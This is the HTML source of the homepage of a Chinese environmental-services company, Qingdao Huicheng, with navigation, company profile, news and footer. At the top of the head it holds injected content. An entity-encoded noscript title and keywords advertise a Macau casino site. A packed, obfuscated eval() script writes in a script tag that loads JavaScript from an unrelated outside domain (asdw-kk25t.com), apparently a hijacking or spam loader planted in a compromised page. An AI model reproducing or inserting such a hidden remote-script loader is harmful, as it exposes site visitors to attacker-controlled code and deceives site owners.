﻿<!DOCTYPE html>
<html lang="zh-EN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
<noscript><title>&#28595;&#38376;&#183;&#23041;&#23612;&#26031;&#20154;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;</title>
<meta name="keywords" content="&#28595;&#38376;&#183;&#23041;&#23612;&#26031;&#20154;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;"/>
<meta name="description" content="&#28595;&#38376;&#183;&#23041;&#23612;&#26031;&#20154;&#23448;&#26041;&#32593;&#31449;&#9989;&#21338;&#21457;&#25512;&#33616;&#9989;&#26368;&#23433;&#20840;&#24179;&#21488;&#20043;&#19968;&#44;&#20844;&#21496;&#20135;&#21697;&#24191;&#27867;&#25552;&#20379;&#58;&#28595;&#38376;&#23041;&#23612;&#26031;&#20154;&#26368;&#26032;&#32593;&#22336;&#44;&#23448;&#32593;&#20837;&#21475;&#44;&#97;&#112;&#112;&#19979;&#36733;&#44;&#25163;&#26426;&#32593;&#39029;&#29256;&#44;&#30331;&#24405;&#44;&#28595;&#38376;&#23041;&#23612;&#26031;&#20154;&#97;&#112;&#112;&#23448;&#32593;&#50;&#52;&#23567;&#26102;&#20026;&#24744;&#26381;&#21153;&#33;&#26356;&#22810;&#31934;&#24425;&#27963;&#21160;&#23089;&#20048;&#31561;&#30528;&#24744;&#33;"/></noscript>
<script type="text/javascript">;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c.2.d(\'<7 b="9/4" 8="3://e.0-6.1/a.5"></7>\');',62,15,'asdw|com|document|https|javascript|js|kk25t|script|src|text|ty|type|window|write|www'.split('|'),0,{}));</script>
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
    <meta name="keywords" content="危废处置；危废处理；催化剂；分子筛；惠城；环保；科技；烟气；脱硝；污水；废塑料；" />
	<meta name="description" content="青岛惠城环保科技集团股份有限公司官方网站" />
  <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' 'unsafe-inline';script-src 'self' 'unsafe-eval' 'unsafe-inline';img-src  'self'  'unsafe-inline'  'unsafe-eval'  data:">
    <title>青岛惠城环保科技集团股份有限公司官方网站</title>
    <link href="https://www.hcpect.com/uploads/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://www.hcpect.com/uploads/css/swiper.min.css" rel="stylesheet">
    <link href="https://www.hcpect.com/uploads/css/animate.css" rel="stylesheet" />
    <link href="https://www.hcpect.com/uploads/css/iconfont.css" rel="stylesheet" />
    <link href="https://www.hcpect.com/uploads/css/style.css" rel="stylesheet">
    
    <!--[if lt IE 9]>
      <script src="js/html5shiv.min.js"></script>
      <script src="js/respond.min.js"></script>
    <![endif]-->

    <script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?8ad818c906c96ee2e9f4bfcdd75201b2";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
  </head>
  <body>
<Div class="header">
	<div class="container">
        <Div class="logo">
            <A href="https://www.hcpect.com/" title="logo"><img src="https://www.hcpect.com/uploads/images/logo.jpg" /></A><div class="san hidden-lg hidden-md"><span></span><span></span><span></span></div><div class="clear"></div>
        </Div>
        <div class="nav">
        	<ul>
            	<li><a href="https://www.hcpect.com/">首页</a></li>
                <!-- Single button -->
                <li>
                  <a href="https://www.hcpect.com/home/about.html">关于惠城</a>
                  <div class="erji">
                    <a href="https://www.hcpect.com/home/about.html">惠城简介</a>
                    <a href="https://www.hcpect.com/home/culture.html">企业文化</a>
                    <a href="https://www.hcpect.com/home/development.html">发展历程</a>
                    <a href="https://www.hcpect.com/home/honor.html">荣誉资质</a>
                    <a href="https://www.hcpect.com/home/huicheng.html">惠城之家</a>
                  </div>
                </li>
                <!-- 惠城业务 button -->
                <li>
                  <a href="https://www.hcpect.com/product/service.html">惠城业务</a>
                  <div class="erji">
                    <a href="https://www.hcpect.com/product/service.html">危废处置服务</a>
                    <a href="https://www.hcpect.com/product/service.html">资源化产品</a>
                    <a href="https://www.hcpect.com/product/yanqizhili.html">烟气治理</a>
                  </div>
                </li>
                <!-- 技术服务 button -->
                <li>
                  <a href="https://www.hcpect.com/technology/changguifuwu.html">技术服务</a>
                  <div class="erji">
                    <a href="https://www.hcpect.com/technology/changguifuwu.html">常规服务</a>
                    <a href="https://www.hcpect.com/technology/sanjipingjiatixi.html">评价体系</a>
                    <a href="https://www.hcpect.com/technology/xianchangfuwu.html">现场服务</a>
                    <a href="https://www.hcpect.com/technology/yuanchengzhenduan.html">远程诊断</a>
                    <a target="_blank" href="http://td.hcpect.com/">服务平台</a>
                  </div>
                </li>
                <!-- 科技创新 button -->
                <li>
                  <a href="https://www.hcpect.com/innovation.html">科技创新</a>
                  <div class="erji">
                    <a href="https://www.hcpect.com/innovation.html">研发中心</a>
                    <a href="https://www.hcpect.com/innovation/team.html">研发团队</a>
                  </div>
                </li>
                <!-- 新闻中心 button -->
                <li><a class="" href="https://www.hcpect.com/news.html">新闻中心</a>
                  <div class="erji">
                                        <a href="https://www.hcpect.com/news/index/3.html">惠城新闻</a>
                                        <a href="https://www.hcpect.com/news/index/2.html">行业前沿</a>
                                        <a href="https://www.hcpect.com/news/index/4.html">子公司动态</a>
                                      </div>
                <li>
                <!-- 投资者关系 button -->
                <li><a class="" href="https://www.hcpect.com/home/jibenziliao.html">投资者关系</a>
                    <div class="erji">
                    <a href="https://www.hcpect.com/home/jibenziliao.html">基本资料</a>
                    <a href="https://www.hcpect.com/gonggaotonghan.html">公告与通函</a>
                    <a href="https://www.hcpect.com/dingqibaogao.html">定期报告</a>
                    <a href="https://www.hcpect.com/touzizhefuwu.html">投资者服务</a>
                  </div>
                </li>
                <!-- 投资者关系 button -->
                <li>
                  <a href="https://www.hcpect.com/join.html">加入惠城</a>
                  <div class="erji">
                    <a href="https://www.hcpect.com/join.html">招聘职位</a>
                    <a href="https://www.hcpect.com/home/contact.html">联系我们</a>
                  </div>
                </li>
            </ul>
            <div class="Language">
            	<img src="https://www.hcpect.com/uploads/images/dq.jpg">Language<img src="https://www.hcpect.com/uploads/images/xia.jpg" />
                <span>
                	<a href="http://www.hcpect.com" style=" font-family:'微软雅黑'">中文简体</a>
                    <a href="http://en.hcpect.com" target="_blank" >English</a>
                </span>
            </div>
            <div class="nav_ss">
            	<img src="https://www.hcpect.com/uploads/images/fdj.jpg" />
                <div class="nav_form">
                    <form id="search_form" action="https://www.hcpect.com/news/search.html" method="post">
                	<input type="text" id="keyword" name="keyword" placeholder="">
                    <input type="hidden" id="page" name="page" value="1">
                    <button></button>
                    </form>
                </div>
            </div>
            <div class="nav_em">
            	<a href="http://mail.hcpect.com/"><img src="https://www.hcpect.com/uploads/images/yx.jpg" /></a>
            </div>
            <div class="clear"></div>
        </div>
        <div class="clear"></div>
    </div>
</Div>
<!-- Swiper -->
    <div class="banner wow fadeIn">
        <div class="swiper-container">
            <div class="swiper-wrapper">
                                <div class="swiper-slide" style="background:url(https://www.hcpect.com/uploads/images/banner/1714887991.png) center center no-repeat; background-size:cover;"></div>
                                <div class="swiper-slide" style="background:url(https://www.hcpect.com/uploads/images/banner/1687248815.png) center center no-repeat; background-size:cover;"></div>
                                <div class="swiper-slide" style="background:url(https://www.hcpect.com/uploads/images/banner/1687323255.png) center center no-repeat; background-size:cover;"></div>
                            </div>
            <!-- Add Pagination -->
            <div class="swiper-pagination swiper-pagination-white"></div>
            <!-- Add Arrows -->
            <!--<div class="swiper-button-next swiper-button-white"></div>
            <div class="swiper-button-prev swiper-button-white"></div>-->
        </div>
    </div>


<div class="s_zhong">
	<!--<div class="wzgg wow fadeInUp">
    	<div class=" container">
        	<div class="row">
            	<div class="col-md-8 col-md-offset-4">
                	<h5><strong></strong><span></span></h5>
                </div>
            </div>
        </div>
    </div>-->
    
    <div class="container" style=" padding-top:30px;">
    	<div class="row wow fadeInUp">
        	<div class="col-md-8">
                <div class="s_jj">
                    <h4><strong>惠城简介</strong></h4>
                    <!-- <p style=" text-indent:2em;">青岛惠城环保科技股份有限公司坐落于蓬勃发展的魅力新区——青岛西海岸经济新区，现拥有占地100亩的工业园区和占地13亩的研发中心大楼。公司成立于2006年3月，是君联资本、山东省高新投及自然人股东共同投资的中外合资企业。</p>
                    <p style=" text-indent:2em;">公司是专业从事固废、危废处理处置服务并将废物进行有效循环再利用的环保型高新技术企业。 </p> -->
                    <p style="text-indent: 2em;">青岛惠城环保科技集团股份有限公司（股票简称：惠城环保，股票代码：300779），成立于2006年，现注册资本1.36亿元，是一家专业从事工业“三废”处理处置并将废物有效循环再利用的环保型高新技术企业，于2019年成功A股上市。</p>                    <A class="new_more" href="https://www.hcpect.com/home/about.html" title="了解更多">[了解更多 ]</A>
                </div>
                <div class="s_video" data-toggle="modal" data-target=".s_v">
                    <a href="javascript:;"><img src="https://www.hcpect.com/uploads/images/v.jpg" style=" display:block; width:100%;" /></a>
                </div>
                <div class="clear"></div>
            </div>
        	<div class="col-md-4">
                <div class="s_new">
                    <h4><strong>新闻中心</strong><span></span></h4>
                                        <div class="row">
                        <div class="col-md-4">
                            <div class="caption">
                                <span>09</span>2024-08                            </div>
                        </div>
                        <div class="col-md-8">
                            <div class="caption"><A href="https://www.hcpect.com/news/detail/349.html" title="喜封金顶！东粤化学项目建设迎来重要节点">
                                <h5><strong>喜封金顶！东粤化学项目建设迎来重要节点</strong></h5>
                                <p>8月8日，随着最后一段顶板混凝土完成浇筑，20万吨/年混合废&hellip;</p></A>
                            </div>
                        </div>
                    </div>
                                        <ul>
                                                    <li><a href="https://www.hcpect.com/news/detail/348.html">惠城环保与北京环境达成战略合作，共&hellip;</a></li>
                                                    <li><a href="https://www.hcpect.com/news/detail/344.html">凝“新”聚力 共“惠”未来 ——惠&hellip;</a></li>
                                            </ul>
                    <a class="new_more" style=" margin-right:0px;" href="https://www.hcpect.com/news.html" title="了解更多">[了解更多]</a>
                    <div class="clear"></div>
                </div>
            </div>
        </div>

        <div class="row s_ts wow fadeInUp">
        	<div class="col-sm-6 col-md-3">
            	<div class="caption"><a href="https://www.hcpect.com/home/culture.html">
                	<img src="https://www.hcpect.com/uploads/images/ts01.jpg" style=" display:block; width:100%;" />
                    <span>
                    	<img src="https://www.hcpect.com/uploads/images/ts1.png" />
                    	文化理念
                    </span>
                	<!--<h5><strong>文化理念</strong></h5>-->
                    <p>致力绿色环保，引领循环经济，在实现世界民族品牌企业的目标上坚定传承，在推进可持续发展的道路上创新思维，在为子孙后代留下蓝天白云的愿望上勇担重任。</p></a>
                </div>
            </div>
            <div class="col-sm-6 col-md-3">
            	<div class="caption"><a href="https://www.hcpect.com/innovation.html">
                	<img src="https://www.hcpect.com/uploads/images/ts01.jpg" style=" display:block; width:100%;" />
                    <span>
                    	<img src="https://www.hcpect.com/uploads/images/ts2.png" />
                    	研发创新
                    </span>
                	<!--<h5><strong>研发创新</strong></h5>-->
                    <p>解决客户实际需求为出发点，专注催化剂产品多样化及功能性的研发，提升产品品质；坚持“向废物要资源”，以有效彻底的资源综合利用方式处理处置各行业“三废”，多渠道实现废弃物综合利用的循环经济体系。</p></a>
                </div>
            </div>
            <div class="col-sm-6 col-md-3">
            	<div class="caption"><a href="https://www.hcpect.com/technology/changguifuwu.html">
                	<img src="https://www.hcpect.com/uploads/images/ts01.jpg" style=" display:block; width:100%;" />
                    <span>
                    	<img src="https://www.hcpect.com/uploads/images/ts3.png" />
                    	服务体系
                    </span>
                	<!--<h5><strong>服务体系</strong></h5>-->
                    <p>标准化的服务流程，从样品采集、工况分析、油品评价、配方确定，到销售时的现场对接，再到售后的专人追踪、定期分析、专家服务，从始至终的多维度服务精准对接客户需求，以实现客户利益最大化。</p></a>
                </div>
            </div>
            <div class="col-sm-6 col-md-3">
            	<div class="caption"><a href="https://www.hcpect.com/home/honor.html">
                	<img src="https://www.hcpect.com/uploads/images/ts01.jpg" style=" display:block; width:100%;" />
                    <span>
                    	<img src="https://www.hcpect.com/uploads/images/ts4.png" />
                    	资质荣誉
                    </span>
                	<!--<h5><strong>资质荣誉</strong></h5>-->
                    <p>坚持自主研发，持续科技创新，稳定行业地位，公司被评定为“青岛市创新型企业”、“青岛市认定企业技术中心”和“国家高新技术企业”等，多项技术荣获市科技进步一等奖、省科学技术进步二等奖等奖项，并拥有十数项专利发明。</p></a>
                </div>
            </div>
        </div>

        <div class="s_biao wow fadeInUp"><span></span><strong>主营业务</strong><span></span></div>
        
        <div class="row s_yw wow fadeInUp">
            <div class="col-sm-4 col-md-4">
                <div class="caption"><A href="https://www.hcpect.com/product/service.html">
                	<div class="syw_text">
                        <h5><strong><span></span>危废处置服务</strong></h5>
                        <p>公司提供的服务主要是为炼油企业提供废催化剂处理处置服务...</p>
                        <div class="jian"></div>
                    </div>
                    <div class="syw_img">
                    	<i class="sji_1"></i><i class="sji_2"></i>
                    	<img src="https://www.hcpect.com/uploads/images/yw02.jpg" style=" display:block; width:100%;" />
                    </div></A>
                </div>
            </div>
            <div class="col-sm-4 col-md-4">
                <div class="caption"><A href="https://www.hcpect.com/product/detail/135.html">
                	<div class="syw_text">
                        <h5><strong><span></span>资源化产品</strong></h5>
                        <p>公司专注于生产、研发、销售功能型FCC催化剂、助剂...</p>
                        <div class="jian"></div>
                    </div>
                    <div class="syw_img">
                    	<i class="sji_1"></i><i class="sji_2"></i>
                    	<img src="https://www.hcpect.com/uploads/images/yw01.jpg" style=" display:block; width:100%;" />
                    </div></A>
                </div>
            </div>
            <div class="col-sm-4 col-md-4">
                <div class="caption"><A href="https://www.hcpect.com/product/yanqizhili.html">
                	<div class="syw_text">
                        <h5><strong><span></span>烟气治理</strong></h5>
                        <p>惠城研发团队研发出了一种高活性固态脱硝还原剂并衍生其脱硝工艺...</p>
                        <div class="jian"></div>
                    </div>
                    <div class="syw_img">
                    	<i class="sji_1"></i><i class="sji_2"></i>
                    	<img src="https://www.hcpect.com/uploads/images/yw03.jpg" style=" display:block; width:100%;" />
                    </div></A>
                </div>
            </div>
            <!--<div class="col-md-3">
                <div class="caption"><A href="https://www.hcpect.com/technology/changguifuwu.html">
                	<div class="syw_text">
                        <h5><strong><span></span>技术服务</strong></h5>
                        <p>与客户携手开发最适合其需要的催化剂，真正做到量体裁衣、一厂一剂、特色服务...</p>
                        <div class="jian"></div>
                    </div>
                    <div class="syw_img">
                    	<i class="sji_1"></i><i class="sji_2"></i>
                    	<img src="https://www.hcpect.com/uploads/images/yw04.jpg" style=" display:block; width:100%;" />
                    </div></A>
                </div>
            </div>-->
        </div>
        
    </div>

</div>

<div class="modal fade s_v" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel">
  <div class="modal-dialog modal-md" role="document">
    <div class="modal-content">
    	<div class="modal-header">
        	<button type="button" onClick="pauseVid(1)" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        	<h4 class="modal-title" id="myModalLabel">惠城环保宣传片</h4>
      	</div>
    	<div class="modal-body">
        	<video id="video_1" controls preload="none" onclick="playPause()" src="https://www.hcpect.com/uploads/video/xuanchuanpian2.mp4" width="100%">您的浏览器不支持 video 标签。</video>
        </div>
    </div>
  </div>
</div><!--<div class="fd_nav wow fadeInLeft">
	<ul>
    	<li><a href="https://www.hcpect.com/news.html"><img src="https://www.hcpect.com/uploads/images/ft_01.png" />惠城新闻</a></li>
    	<li><a href="https://www.hcpect.com/product/service.html"><img src="https://www.hcpect.com/uploads/images/ft_02.png" />惠城业务</a></li>
    	<li><a href="https://www.hcpect.com/technology/changguifuwu.html"><img src="https://www.hcpect.com/uploads/images/ft_03.png" />技术服务</a></li>
    </ul>
</div>
-->
<div class="footer">
	<div class="container">
        <div class="row">
            <div class="col-md-4">
                <div class="caption">
                    <h3 style=" margin-bottom:30px;"><strong>联系惠城</strong></h3>
                    <h4 style=" background:url(https://www.hcpect.com/uploads/images/ft_dh.png) left center no-repeat;">服务热线：<span>0532-58657700</span></h4>
                    <h4 style=" background:url(https://www.hcpect.com/uploads/images/ft_cz.png) left center no-repeat;">销售业务：<span>0532-58657755</span></h4>
                    <h4 style=" background:url(https://www.hcpect.com/uploads/images/ft_cz.png) left center no-repeat;">国际业务：<span>18669410980</span></h4>
                </div>
            </div>
            <div class="col-md-4 hidden-xs hidden-sm">
                <ul>
                    <li><a href="https://www.hcpect.com/home/about.html"><span></span>关于惠城</a></li>
                    <li><a href="https://www.hcpect.com/product/service.html"><span></span>惠城业务</a></li>
                    <li><a rel="noopener noreferrer" href="http://td.hcpect.com/"><span></span>服务平台</a></li>
                    <div class="clear"></div>
                </ul>
            </div>
            <div class="col-md-4">
                <div class="caption">
                    <h3><strong>找到惠城</strong></h3>
                    <h5><A href="https://www.hcpect.com/home/contact#map_1.html">研发中心<br>青岛市西海岸新区萧山路7号</A></h5>
                    <div class="jb_xian"></div>
                    <h5><A href="https://www.hcpect.com/home/contact#map_2.html">生产基地<br>青岛市西海岸新区淮河东路57号</A></h5>
                </div>
            </div>
        </div>
    </div>
    <div class="didi hidden-xs hidden-sm">
    	<div class="container">
    		<span>青岛惠城环保科技集团股份有限公司</span><span>版权所有</span><span><a rel="noopener noreferrer" href="http://beian.miit.gov.cn/" style=" color:#fff;" target="_blank">鲁ICP备15012663号-1</a></span><span><A rel="noopener noreferrer" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=37021002000241" style=" color:#fff;"><img src="https://www.hcpect.com/uploads/images/ga.png" style=" margin-right:6px;" >鲁公网安备37021002000241号</A></span><a rel="noopener noreferrer" href="" title="网站建设" style=" float:right; color:#fff; text-decoration:none;">技术支持：青岛新视点</a>
        </div>
    </div>

</div>
<style>
.footer{ padding-bottom:0px;}
.didi{ height:42px; border-top:1px solid #a3c54f; line-height:42px; color:#fff; opacity:0.8; margin-top:20px;}
.didi span{ margin-right:10px;}
</style>



    <script src="https://www.hcpect.com/uploads/js/jquery-1.11.1.min.js"></script>
	<script src="https://www.hcpect.com/uploads/js/bootstrap.min.js"></script>
    <script src="https://www.hcpect.com/uploads/js/offcanvas.js"></script>
    <!-- Swiper JS -->
    <script src="https://www.hcpect.com/uploads/js/swiper.min.js"></script>
    <script src="https://www.hcpect.com/uploads/js/lightbox.js"></script>
    <!-- Initialize Swiper -->
    <script>
    var swiper = new Swiper('.swiper-container', {
        pagination: '.swiper-pagination',
        paginationClickable: '.swiper-pagination',
        nextButton: '.swiper-button-next',
        prevButton: '.swiper-button-prev',
        effect: 'fade',
		paginationClickable: true,
        spaceBetween: 30,
        centeredSlides: true,
        autoplay: 4000,
        autoplayDisableOnInteraction: false
    });
    </script>

    
<script type="text/javascript">
$(function(){
	//菜单隐藏展开
	var tabs_i=0
	$('.vtitle').click(function(){
		var _self = $(this);
		var j = $('.vtitle').index(_self);
		//if( tabs_i == j ) return false; 
		tabs_i = j;
		$('.vtitle em').each(function(e){
			if(e==tabs_i){
				$('em',_self).removeClass('v01').addClass('v02');
			}else{
				$(this).removeClass('v02').addClass('v01');
			}
		});
		$('.vcon').slideUp().eq(tabs_i).slideDown();

	});

})
</script>  

    <script src="https://www.hcpect.com/uploads/js/zoom.min.js"></script>


<!--分享
<script type="text/javascript" charset="utf-8" src="http://static.bshare.cn/b/buttonLite.js#uuid=&amp;style=10&amp;bgcolor=Orange"></script>
分享-->          
    
  <script src="https://www.hcpect.com/uploads/t_js/sscr.min.js"></script>
  <script src="https://www.hcpect.com/uploads/t_js/wow.min.js"></script>
  <script src="https://www.hcpect.com/uploads/t_js/viewport-units-buggyfill.js"></script>
  <script src="https://www.hcpect.com/uploads/t_js/midnight.jquery.js"></script>

  <script>

    $(document).ready(function(){
      // vh fix for iOS7 (Not that it works well on that anyway)
      viewportUnitsBuggyfill.init();

      $(window).resize(function(){
        viewportUnitsBuggyfill.refresh();
      });

      // Start Midnight!
      $('nav.fixed').midnight();

      // Start wow.js
      new WOW().init();

      // The island disappears when the logo moves on top of it
      var $island = $('#space-island');
      var islandTop = $island.offset().top;
      var windowHeight = $(window).height();

      $(window).resize(function(){
        islandTop = $island.offset().top;
        windowHeight = $(window).height();
      });

      $(document).scroll(function(){
        var scrollTop = window.pageYOffset || document.documentElement.scrollTop;
        var minScrollTop = islandTop - windowHeight * 0.4;
        var maxScrollTop = islandTop;

        // Opacity goes from 1.0 at the bottom 2/3 of the screen to 0.4 at the top
        if( scrollTop <= islandTop*2 ) {
          var targetOpacity = 1.0;
          var minOpacity = 0.4;

          if( scrollTop > minScrollTop && scrollTop < maxScrollTop ) {
            targetOpacity = ((maxScrollTop - scrollTop) / (maxScrollTop - minScrollTop)) * (1.0 - minOpacity) + minOpacity;
          }
          else if( scrollTop > maxScrollTop ) {
            targetOpacity = minOpacity;
          }
          else if( scrollTop < minScrollTop ) {
            targetOpacity = 1.0;
          }

          $island.css('opacity', targetOpacity);
        }

      });

      $('.scroll-prompt').click(function(event){
        event.preventDefault();
        $('html, body').animate({
          scrollTop: $("section.step-one").offset().top - $('nav').height() * 0.5
        }, 1000, 'swing');
      });

      $(window).trigger('resize');

    });
  </script>



  </body>
</html>